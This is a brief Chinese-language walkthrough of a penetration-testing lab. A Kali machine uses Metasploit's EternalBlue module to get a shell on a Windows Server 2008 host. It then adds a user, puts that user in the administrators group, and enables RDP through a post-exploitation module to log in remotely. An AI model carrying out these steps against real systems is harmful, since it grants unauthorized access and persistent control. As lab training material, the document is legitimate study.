远程连接
实验环境
Kali 192.168.195.132
Winser2008 192.168.195.129
实验步骤
启动postgresql.service
systemctl restart postgresql.service
启动msf
msfconsole
使用模块拿到Winser2008的shell
添加用户
使用远程连接模块
搜索模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > search rdp
使用模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/manage/enable_rdp
将test用户添加到administrators组中
验证
成功远程连接进入Winser2008